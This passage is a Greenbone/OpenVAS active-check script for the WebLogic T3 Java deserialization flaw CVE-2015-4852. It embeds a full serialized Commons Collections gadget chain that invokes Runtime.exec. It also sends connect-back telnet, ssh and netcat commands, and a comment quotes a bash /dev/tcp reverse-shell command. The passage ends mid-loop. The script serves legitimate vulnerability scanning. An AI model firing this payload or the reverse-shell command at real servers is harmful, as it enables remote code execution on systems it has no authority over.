Lucene search
+L

Oracle WebLogic Server Java Deserialization / RCE Vulnerability (CVE-2015-4852) - Active Check

🗓️ 27 Jul 2016 00:00:00Reported by Copyright (C) 2016 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 590 Views

Oracle WebLogic Server RCE Vulnerability (CVE-2015-4852) - Active Chec

Related
Refs
Code
# SPDX-FileCopyrightText: 2016 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:bea:weblogic_server";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.105829");
  script_version("2024-12-03T05:05:44+0000");
  script_tag(name:"last_modification", value:"2024-12-03 05:05:44 +0000 (Tue, 03 Dec 2024)");
  script_tag(name:"creation_date", value:"2016-07-27 14:18:32 +0200 (Wed, 27 Jul 2016)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2023-12-21 01:31:00 +0000 (Thu, 21 Dec 2023)");

  script_cve_id("CVE-2015-4852");

  script_tag(name:"qod_type", value:"remote_active");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Oracle WebLogic Server Java Deserialization / RCE Vulnerability (CVE-2015-4852) - Active Check");

  script_category(ACT_ATTACK);

  script_family("Web Servers");
  script_copyright("Copyright (C) 2016 Greenbone AG");
  script_dependencies("gb_oracle_weblogic_consolidation.nasl", "os_detection.nasl");
  script_mandatory_keys("oracle/weblogic/detected");
  script_require_ports("Services/weblogic-t3", 7001);

  script_tag(name:"summary", value:"Oracle WebLogic Server is prone to a remote code execution (RCE)
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted serialized Java object and checks if the
  target is connecting back to the scanner host.

  Note: For a successful detection of this flaw the target host needs to be able to reach the
  scanner host on a TCP port randomly generated during the runtime of the VT (currently in the range
  of 10000-32000).");

  script_tag(name:"insight", value:"Unsafe deserialization allows unauthenticated remote attackers
  to run arbitrary code on the Oracle WebLogic Server.");

  script_tag(name:"impact", value:"Successfully exploiting this issue allows attackers to execute
  arbitrary code in the context of the affected application.");

  script_tag(name:"affected", value:"Oracle WebLogic Server versions 10.3.6.0, 12.1.2.0, 12.1.3.0
  and 12.2.1.0 are known to be affected.");

  script_tag(name:"solution", value:"Updates are available. Please see the references or vendor
  advisory for more information.");

  script_xref(name:"URL", value:"https://www.oracle.com/security-alerts/alert-cve-2015-4852.html");
  script_xref(name:"URL", value:"https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/");
  script_xref(name:"URL", value:"https://github.com/foxglovesec/JavaUnserializeExploits/blob/master/weblogic.py");
  script_xref(name:"URL", value:"https://www.cisa.gov/known-exploited-vulnerabilities-catalog");
  script_xref(name:"CISA", value:"Known Exploited Vulnerability (KEV) catalog");

  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("misc_func.inc");
include("pcap_func.inc");
include("list_array_func.inc");

if( ! port = get_app_port( cpe:CPE, service:"weblogic-t3" ) )
  exit( 0 );

if( ! get_app_location( cpe:CPE, port:port, nofork:TRUE ) )
  exit( 0 );

ownhostname = this_host_name();
ownip = this_host();
target_host = get_host_ip();
src_filter = pcap_src_ip_filter_from_hostnames();
dst_filter = string( "(dst host ", ownip, " or dst host ", ownhostname, ")" );

payload_before = raw_string(
  0x01, 0x65, 0x01, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x71, 0x00,
  0x00, 0xea, 0x60, 0x00, 0x00, 0x00, 0x18, 0x43, 0x2e, 0xc6, 0xa2, 0xa6, 0x39, 0x85, 0xb5, 0xaf,
  0x7d, 0x63, 0xe6, 0x43, 0x83, 0xf4, 0x2a, 0x6d, 0x92, 0xc9, 0xe9, 0xaf, 0x0f, 0x94, 0x72, 0x02,
  0x79, 0x73, 0x72, 0x00, 0x78, 0x72, 0x01, 0x78, 0x72, 0x02, 0x78, 0x70, 0x00, 0x00, 0x00, 0x0c,
  0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
  0x00, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x02, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x70, 0x06, 0xfe, 0x01,
  0x00, 0x00, 0xac, 0xed, 0x00, 0x05, 0x73, 0x72, 0x00, 0x1d, 0x77, 0x65, 0x62, 0x6c, 0x6f, 0x67,
  0x69, 0x63, 0x2e, 0x72, 0x6a, 0x76, 0x6d, 0x2e, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x54, 0x61, 0x62,
  0x6c, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2f, 0x52, 0x65, 0x81, 0x57, 0xf4, 0xf9, 0xed, 0x0c,
  0x00, 0x00, 0x78, 0x70, 0x72, 0x00, 0x24, 0x77, 0x65, 0x62, 0x6c, 0x6f, 0x67, 0x69, 0x63, 0x2e,
  0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x2e, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x2e,
  0x50, 0x61, 0x63, 0x6b, 0x61, 0x67, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0xe6, 0xf7, 0x23, 0xe7, 0xb8,
  0xae, 0x1e, 0xc9, 0x02, 0x00, 0x09, 0x49, 0x00, 0x05, 0x6d, 0x61, 0x6a, 0x6f, 0x72, 0x49, 0x00,
  0x05, 0x6d, 0x69, 0x6e, 0x6f, 0x72, 0x49, 0x00, 0x0b, 0x70, 0x61, 0x74, 0x63, 0x68, 0x55, 0x70,
  0x64, 0x61, 0x74, 0x65, 0x49, 0x00, 0x0c, 0x72, 0x6f, 0x6c, 0x6c, 0x69, 0x6e, 0x67, 0x50, 0x61,
  0x74, 0x63, 0x68, 0x49, 0x00, 0x0b, 0x73, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x50, 0x61, 0x63,
  0x6b, 0x5a, 0x00, 0x0e, 0x74, 0x65, 0x6d, 0x70, 0x6f, 0x72, 0x61, 0x72, 0x79, 0x50, 0x61, 0x74,
  0x63, 0x68, 0x4c, 0x00, 0x09, 0x69, 0x6d, 0x70, 0x6c, 0x54, 0x69, 0x74, 0x6c, 0x65, 0x74, 0x00,
  0x12, 0x4c, 0x6a, 0x61, 0x76, 0x61, 0x2f, 0x6c, 0x61, 0x6e, 0x67, 0x2f, 0x53, 0x74, 0x72, 0x69,
  0x6e, 0x67, 0x3b, 0x4c, 0x00, 0x0a, 0x69, 0x6d, 0x70, 0x6c, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72,
  0x71, 0x00, 0x7e, 0x00, 0x03, 0x4c, 0x00, 0x0b, 0x69, 0x6d, 0x70, 0x6c, 0x56, 0x65, 0x72, 0x73,
  0x69, 0x6f, 0x6e, 0x71, 0x00, 0x7e, 0x00, 0x03, 0x78, 0x70, 0x77, 0x02, 0x00, 0x00, 0x78, 0xfe,
  0x01, 0x00, 0x00 );

payload_before += raw_string(
  0xac, 0xed, 0x00, 0x05, 0x73, 0x72, 0x00, 0x32, 0x73, 0x75, 0x6e, 0x2e, 0x72, 0x65, 0x66, 0x6c,
  0x65, 0x63, 0x74, 0x2e, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x41,
  0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x76, 0x6f, 0x63, 0x61, 0x74,
  0x69, 0x6f, 0x6e, 0x48, 0x61, 0x6e, 0x64, 0x6c, 0x65, 0x72, 0x55, 0xca, 0xf5, 0x0f, 0x15, 0xcb,
  0x7e, 0xa5, 0x02, 0x00, 0x02, 0x4c, 0x00, 0x0c, 0x6d, 0x65, 0x6d, 0x62, 0x65, 0x72, 0x56, 0x61,
  0x6c, 0x75, 0x65, 0x73, 0x74, 0x00, 0x0f, 0x4c, 0x6a, 0x61, 0x76, 0x61, 0x2f, 0x75, 0x74, 0x69,
  0x6c, 0x2f, 0x4d, 0x61, 0x70, 0x3b, 0x4c, 0x00, 0x04, 0x74, 0x79, 0x70, 0x65, 0x74, 0x00, 0x11,
  0x4c, 0x6a, 0x61, 0x76, 0x61, 0x2f, 0x6c, 0x61, 0x6e, 0x67, 0x2f, 0x43, 0x6c, 0x61, 0x73, 0x73,
  0x3b, 0x78, 0x70, 0x73, 0x7d, 0x00, 0x00, 0x00, 0x01, 0x00, 0x0d, 0x6a, 0x61, 0x76, 0x61, 0x2e,
  0x75, 0x74, 0x69, 0x6c, 0x2e, 0x4d, 0x61, 0x70, 0x78, 0x72, 0x00, 0x17, 0x6a, 0x61, 0x76, 0x61,
  0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x2e, 0x72, 0x65, 0x66, 0x6c, 0x65, 0x63, 0x74, 0x2e, 0x50, 0x72,
  0x6f, 0x78, 0x79, 0xe1, 0x27, 0xda, 0x20, 0xcc, 0x10, 0x43, 0xcb, 0x02, 0x00, 0x01, 0x4c, 0x00,
  0x01, 0x68, 0x74, 0x00, 0x25, 0x4c, 0x6a, 0x61, 0x76, 0x61, 0x2f, 0x6c, 0x61, 0x6e, 0x67, 0x2f,
  0x72, 0x65, 0x66, 0x6c, 0x65, 0x63, 0x74, 0x2f, 0x49, 0x6e, 0x76, 0x6f, 0x63, 0x61, 0x74, 0x69,
  0x6f, 0x6e, 0x48, 0x61, 0x6e, 0x64, 0x6c, 0x65, 0x72, 0x3b, 0x78, 0x70, 0x73, 0x71, 0x00, 0x7e,
  0x00, 0x00, 0x73, 0x72, 0x00, 0x2a, 0x6f, 0x72, 0x67, 0x2e, 0x61, 0x70, 0x61, 0x63, 0x68, 0x65,
  0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x73, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74,
  0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x6d, 0x61, 0x70, 0x2e, 0x4c, 0x61, 0x7a, 0x79, 0x4d, 0x61, 0x70,
  0x6e, 0xe5, 0x94, 0x82, 0x9e, 0x79, 0x10, 0x94, 0x03, 0x00, 0x01, 0x4c, 0x00, 0x07, 0x66, 0x61,
  0x63, 0x74, 0x6f, 0x72, 0x79, 0x74, 0x00, 0x2c, 0x4c, 0x6f, 0x72, 0x67, 0x2f, 0x61, 0x70, 0x61,
  0x63, 0x68, 0x65, 0x2f, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x6f, 0x6c, 0x6c,
  0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x66, 0x6f, 0x72,
  0x6d, 0x65, 0x72, 0x3b, 0x78, 0x70, 0x73, 0x72, 0x00, 0x3a, 0x6f, 0x72, 0x67, 0x2e, 0x61, 0x70,
  0x61, 0x63, 0x68, 0x65, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x73, 0x2e, 0x63, 0x6f, 0x6c,
  0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x6f, 0x72,
  0x73, 0x2e, 0x43, 0x68, 0x61, 0x69, 0x6e, 0x65, 0x64, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x66, 0x6f,
  0x72, 0x6d, 0x65, 0x72, 0x30, 0xc7, 0x97, 0xec, 0x28, 0x7a, 0x97, 0x04, 0x02, 0x00, 0x01, 0x5b,
  0x00, 0x0d, 0x69, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x66, 0x6f, 0x72, 0x6d, 0x65, 0x72, 0x73, 0x74,
  0x00, 0x2d, 0x5b, 0x4c, 0x6f, 0x72, 0x67, 0x2f, 0x61, 0x70, 0x61, 0x63, 0x68, 0x65, 0x2f, 0x63,
  0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f,
  0x6e, 0x73, 0x2f, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x66, 0x6f, 0x72, 0x6d, 0x65, 0x72, 0x3b, 0x78,
  0x70, 0x75, 0x72, 0x00, 0x2d, 0x5b, 0x4c, 0x6f, 0x72, 0x67, 0x2e, 0x61, 0x70, 0x61, 0x63, 0x68,
  0x65, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x73, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63,
  0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x66, 0x6f, 0x72, 0x6d, 0x65,
  0x72, 0x3b, 0xbd, 0x56, 0x2a, 0xf1, 0xd8, 0x34, 0x18, 0x99, 0x02, 0x00, 0x00, 0x78, 0x70, 0x00,
  0x00, 0x00, 0x05, 0x73, 0x72, 0x00, 0x3b, 0x6f, 0x72, 0x67, 0x2e, 0x61, 0x70, 0x61, 0x63, 0x68,
  0x65, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x73, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63,
  0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x6f, 0x72, 0x73, 0x2e, 0x43,
  0x6f, 0x6e, 0x73, 0x74, 0x61, 0x6e, 0x74, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x66, 0x6f, 0x72, 0x6d,
  0x65, 0x72, 0x58, 0x76, 0x90, 0x11, 0x41, 0x02, 0xb1, 0x94, 0x02, 0x00, 0x01, 0x4c, 0x00, 0x09,
  0x69, 0x43, 0x6f, 0x6e, 0x73, 0x74, 0x61, 0x6e, 0x74, 0x74, 0x00, 0x12, 0x4c, 0x6a, 0x61, 0x76,
  0x61, 0x2f, 0x6c, 0x61, 0x6e, 0x67, 0x2f, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x3b, 0x78, 0x70,
  0x76, 0x72, 0x00, 0x11, 0x6a, 0x61, 0x76, 0x61, 0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x2e, 0x52, 0x75,
  0x6e, 0x74, 0x69, 0x6d, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x78, 0x70, 0x73, 0x72, 0x00, 0x3a, 0x6f, 0x72, 0x67, 0x2e, 0x61, 0x70, 0x61, 0x63, 0x68, 0x65,
  0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x73, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74,
  0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x6f, 0x72, 0x73, 0x2e, 0x49, 0x6e,
  0x76, 0x6f, 0x6b, 0x65, 0x72, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x66, 0x6f, 0x72, 0x6d, 0x65, 0x72,
  0x87, 0xe8, 0xff, 0x6b, 0x7b, 0x7c, 0xce, 0x38, 0x02, 0x00, 0x03, 0x5b, 0x00, 0x05, 0x69, 0x41,
  0x72, 0x67, 0x73, 0x74, 0x00, 0x13, 0x5b, 0x4c, 0x6a, 0x61, 0x76, 0x61, 0x2f, 0x6c, 0x61, 0x6e,
  0x67, 0x2f, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x3b, 0x4c, 0x00, 0x0b, 0x69, 0x4d, 0x65, 0x74,
  0x68, 0x6f, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x74, 0x00, 0x12, 0x4c, 0x6a, 0x61, 0x76, 0x61, 0x2f,
  0x6c, 0x61, 0x6e, 0x67, 0x2f, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x3b, 0x5b, 0x00, 0x0b, 0x69,
  0x50, 0x61, 0x72, 0x61, 0x6d, 0x54, 0x79, 0x70, 0x65, 0x73, 0x74, 0x00, 0x12, 0x5b, 0x4c, 0x6a,
  0x61, 0x76, 0x61, 0x2f, 0x6c, 0x61, 0x6e, 0x67, 0x2f, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x3b, 0x78,
  0x70, 0x75, 0x72, 0x00, 0x13, 0x5b, 0x4c, 0x6a, 0x61, 0x76, 0x61, 0x2e, 0x6c, 0x61, 0x6e, 0x67,
  0x2e, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x3b, 0x90, 0xce, 0x58, 0x9f, 0x10, 0x73, 0x29, 0x6c,
  0x02, 0x00, 0x00, 0x78, 0x70, 0x00, 0x00, 0x00, 0x02, 0x74, 0x00, 0x0a, 0x67, 0x65, 0x74, 0x52,
  0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x75, 0x72, 0x00, 0x12, 0x5b, 0x4c, 0x6a, 0x61, 0x76, 0x61,
  0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x2e, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x3b, 0xab, 0x16, 0xd7, 0xae,
  0xcb, 0xcd, 0x5a, 0x99, 0x02, 0x00, 0x00, 0x78, 0x70, 0x00, 0x00, 0x00, 0x00, 0x74, 0x00, 0x09,
  0x67, 0x65, 0x74, 0x4d, 0x65, 0x74, 0x68, 0x6f, 0x64, 0x75, 0x71, 0x00, 0x7e, 0x00, 0x1e, 0x00,
  0x00, 0x00, 0x02, 0x76, 0x72, 0x00, 0x10, 0x6a, 0x61, 0x76, 0x61, 0x2e, 0x6c, 0x61, 0x6e, 0x67,
  0x2e, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0xa0, 0xf0, 0xa4, 0x38, 0x7a, 0x3b, 0xb3, 0x42, 0x02,
  0x00, 0x00, 0x78, 0x70, 0x76, 0x71, 0x00, 0x7e, 0x00, 0x1e, 0x73, 0x71, 0x00, 0x7e, 0x00, 0x16,
  0x75, 0x71, 0x00, 0x7e, 0x00, 0x1b, 0x00, 0x00, 0x00, 0x02, 0x70, 0x75, 0x71, 0x00, 0x7e, 0x00,
  0x1b, 0x00, 0x00, 0x00, 0x00, 0x74, 0x00, 0x06, 0x69, 0x6e, 0x76, 0x6f, 0x6b, 0x65, 0x75, 0x71,
  0x00, 0x7e, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x02, 0x76, 0x72, 0x00, 0x10, 0x6a, 0x61, 0x76, 0x61,
  0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x2e, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x70, 0x76, 0x71, 0x00, 0x7e, 0x00, 0x1b, 0x73,
  0x71, 0x00, 0x7e, 0x00, 0x16, 0x75, 0x72, 0x00, 0x13, 0x5b, 0x4c, 0x6a, 0x61, 0x76, 0x61, 0x2e,
  0x6c, 0x61, 0x6e, 0x67, 0x2e, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x3b, 0xad, 0xd2, 0x56, 0xe7,
  0xe9, 0x1d, 0x7b, 0x47, 0x02, 0x00, 0x00, 0x78, 0x70, 0x00, 0x00, 0x00, 0x01, 0x74, 0x00 );

payload_after = raw_string(
  0xfe, 0x01, 0x00, 0x00, 0xac, 0xed, 0x00, 0x05, 0x73, 0x72, 0x00, 0x1d, 0x77, 0x65, 0x62, 0x6c,
  0x6f, 0x67, 0x69, 0x63, 0x2e, 0x72, 0x6a, 0x76, 0x6d, 0x2e, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x54,
  0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2f, 0x52, 0x65, 0x81, 0x57, 0xf4, 0xf9,
  0xed, 0x0c, 0x00, 0x00, 0x78, 0x70, 0x72, 0x00, 0x21, 0x77, 0x65, 0x62, 0x6c, 0x6f, 0x67, 0x69,
  0x63, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x2e, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x6e, 0x61,
  0x6c, 0x2e, 0x50, 0x65, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x58, 0x54, 0x74, 0xf3, 0x9b, 0xc9,
  0x08, 0xf1, 0x02, 0x00, 0x07, 0x49, 0x00, 0x05, 0x6d, 0x61, 0x6a, 0x6f, 0x72, 0x49, 0x00, 0x05,
  0x6d, 0x69, 0x6e, 0x6f, 0x72, 0x49, 0x00, 0x0b, 0x70, 0x61, 0x74, 0x63, 0x68, 0x55, 0x70, 0x64,
  0x61, 0x74, 0x65, 0x49, 0x00, 0x0c, 0x72, 0x6f, 0x6c, 0x6c, 0x69, 0x6e, 0x67, 0x50, 0x61, 0x74,
  0x63, 0x68, 0x49, 0x00, 0x0b, 0x73, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x50, 0x61, 0x63, 0x6b,
  0x5a, 0x00, 0x0e, 0x74, 0x65, 0x6d, 0x70, 0x6f, 0x72, 0x61, 0x72, 0x79, 0x50, 0x61, 0x74, 0x63,
  0x68, 0x5b, 0x00, 0x08, 0x70, 0x61, 0x63, 0x6b, 0x61, 0x67, 0x65, 0x73, 0x74, 0x00, 0x27, 0x5b,
  0x4c, 0x77, 0x65, 0x62, 0x6c, 0x6f, 0x67, 0x69, 0x63, 0x2f, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e,
  0x2f, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x2f, 0x50, 0x61, 0x63, 0x6b, 0x61, 0x67,
  0x65, 0x49, 0x6e, 0x66, 0x6f, 0x3b, 0x78, 0x72, 0x00, 0x24, 0x77, 0x65, 0x62, 0x6c, 0x6f, 0x67,
  0x69, 0x63, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x2e, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x6e,
  0x61, 0x6c, 0x2e, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x97, 0x22,
  0x45, 0x51, 0x64, 0x52, 0x46, 0x3e, 0x02, 0x00, 0x03, 0x5b, 0x00, 0x08, 0x70, 0x61, 0x63, 0x6b,
  0x61, 0x67, 0x65, 0x73, 0x71, 0x00, 0x7e, 0x00, 0x03, 0x4c, 0x00, 0x0e, 0x72, 0x65, 0x6c, 0x65,
  0x61, 0x73, 0x65, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x74, 0x00, 0x12, 0x4c, 0x6a, 0x61,
  0x76, 0x61, 0x2f, 0x6c, 0x61, 0x6e, 0x67, 0x2f, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x3b, 0x5b,
  0x00, 0x12, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x41, 0x73, 0x42,
  0x79, 0x74, 0x65, 0x73, 0x74, 0x00, 0x02, 0x5b, 0x42, 0x78, 0x72, 0x00, 0x24, 0x77, 0x65, 0x62,
  0x6c, 0x6f, 0x67, 0x69, 0x63, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x2e, 0x69, 0x6e, 0x74,
  0x65, 0x72, 0x6e, 0x61, 0x6c, 0x2e, 0x50, 0x61, 0x63, 0x6b, 0x61, 0x67, 0x65, 0x49, 0x6e, 0x66,
  0x6f, 0xe6, 0xf7, 0x23, 0xe7, 0xb8, 0xae, 0x1e, 0xc9, 0x02, 0x00, 0x09, 0x49, 0x00, 0x05, 0x6d,
  0x61, 0x6a, 0x6f, 0x72, 0x49, 0x00, 0x05, 0x6d, 0x69, 0x6e, 0x6f, 0x72, 0x49, 0x00, 0x0b, 0x70,
  0x61, 0x74, 0x63, 0x68, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x49, 0x00, 0x0c, 0x72, 0x6f, 0x6c,
  0x6c, 0x69, 0x6e, 0x67, 0x50, 0x61, 0x74, 0x63, 0x68, 0x49, 0x00, 0x0b, 0x73, 0x65, 0x72, 0x76,
  0x69, 0x63, 0x65, 0x50, 0x61, 0x63, 0x6b, 0x5a, 0x00, 0x0e, 0x74, 0x65, 0x6d, 0x70, 0x6f, 0x72,
  0x61, 0x72, 0x79, 0x50, 0x61, 0x74, 0x63, 0x68, 0x4c, 0x00, 0x09, 0x69, 0x6d, 0x70, 0x6c, 0x54,
  0x69, 0x74, 0x6c, 0x65, 0x71, 0x00, 0x7e, 0x00, 0x05, 0x4c, 0x00, 0x0a, 0x69, 0x6d, 0x70, 0x6c,
  0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x71, 0x00, 0x7e, 0x00, 0x05, 0x4c, 0x00, 0x0b, 0x69, 0x6d,
  0x70, 0x6c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x71, 0x00, 0x7e, 0x00, 0x05, 0x78, 0x70,
  0x77, 0x02, 0x00, 0x00, 0x78, 0xfe, 0x00, 0xff, 0xfe, 0x01, 0x00, 0x00, 0xac, 0xed, 0x00, 0x05,
  0x73, 0x72, 0x00, 0x13, 0x77, 0x65, 0x62, 0x6c, 0x6f, 0x67, 0x69, 0x63, 0x2e, 0x72, 0x6a, 0x76,
  0x6d, 0x2e, 0x4a, 0x56, 0x4d, 0x49, 0x44, 0xdc, 0x49, 0xc2, 0x3e, 0xde, 0x12, 0x1e, 0x2a, 0x0c,
  0x00, 0x00, 0x78, 0x70, 0x77, 0x46, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x09, 0x31, 0x32, 0x37, 0x2e, 0x30, 0x2e, 0x31, 0x2e, 0x31, 0x00, 0x0b, 0x75, 0x73, 0x2d, 0x6c,
  0x2d, 0x62, 0x72, 0x65, 0x65, 0x6e, 0x73, 0xa5, 0x3c, 0xaf, 0xf1, 0x00, 0x00, 0x00, 0x07, 0x00,
  0x00, 0x1b, 0x59, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x78, 0xfe, 0x01, 0x00,
  0x00, 0xac, 0xed, 0x00, 0x05, 0x73, 0x72, 0x00, 0x13, 0x77, 0x65, 0x62, 0x6c, 0x6f, 0x67, 0x69,
  0x63, 0x2e, 0x72, 0x6a, 0x76, 0x6d, 0x2e, 0x4a, 0x56, 0x4d, 0x49, 0x44, 0xdc, 0x49, 0xc2, 0x3e,
  0xde, 0x12, 0x1e, 0x2a, 0x0c, 0x00, 0x00, 0x78, 0x70, 0x77, 0x1d, 0x01, 0x81, 0x40, 0x12, 0x81,
  0x34, 0xbf, 0x42, 0x76, 0x00, 0x09, 0x31, 0x32, 0x37, 0x2e, 0x30, 0x2e, 0x31, 0x2e, 0x31, 0xa5,
  0x3c, 0xaf, 0xf1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78 );

foreach connect_back_target( make_list( ownip, ownhostname ) ) {

  # nb: We're currently using 10000-32000 to not get in conflict with the ephemeral port range used
  # by most standard Linux/Unix operating systems. If we're choosing a port of that range we might
  # have false positives due to race conditions (target is sending back a response to a request of
  # another VT for which the scanner had chosen the same source port).
  rnd_port = rand_int_range( min:10000, max:32000 );
  filter = string( "tcp and dst port ", rnd_port, " and ", src_filter, " and ", dst_filter );
  # nb: We're only interested in TCP SYN packets and want to ignore all others (e.g. ACK, RST, ...)
  filter = string( filter, " and tcp[tcpflags] & (tcp-syn) != 0" );

  if( os_host_runs( "Windows" ) == "yes" ) {
    cmds = make_list( "telnet " + connect_back_target + " " + rnd_port );
  } else {
    # nb:
    # - In the initial version of this VT only the ssh binary has been called. But some targets
    #   might not have the SSH client binary installed at all so a more generic approach has been
    #   taken here as well.
    # - Initially the following command which works on a standard Linux has been tried:
    #   "echo " + base64( str:" >&/dev/tcp/" + connect_back_target + "/" + rnd_port + " 0>&1" ) + " | base64 -d | bash -i"
    #   but even working on the command line it seems the T3 protocol / the target might have
    #   problems with that so netcat has been used instead
    # - nc commands used:
    #   - -z      Only scan for listening daemons, without sending any data to them.
    #   - -n      Do not perform domain name resolution.
    cmds = make_list(
      "ssh -q -i /dev/null -p " + rnd_port + " " + connect_back_target,
      "nc -zn " + connect_back_target + " " + rnd_port
    );
  }

  foreach cmd( cmds ) {

    # nb: Always keep open_sock_tcp() after the first call of a function forking on multiple
    # hostnames / vhosts (e.g. http_get(), http_post_put_req(), http_host_name(), get_host_name(),
    # ...). Reason: If the fork would be done after calling open_sock_tcp() the child's would share
    # the same socket causing race conditions and similar.
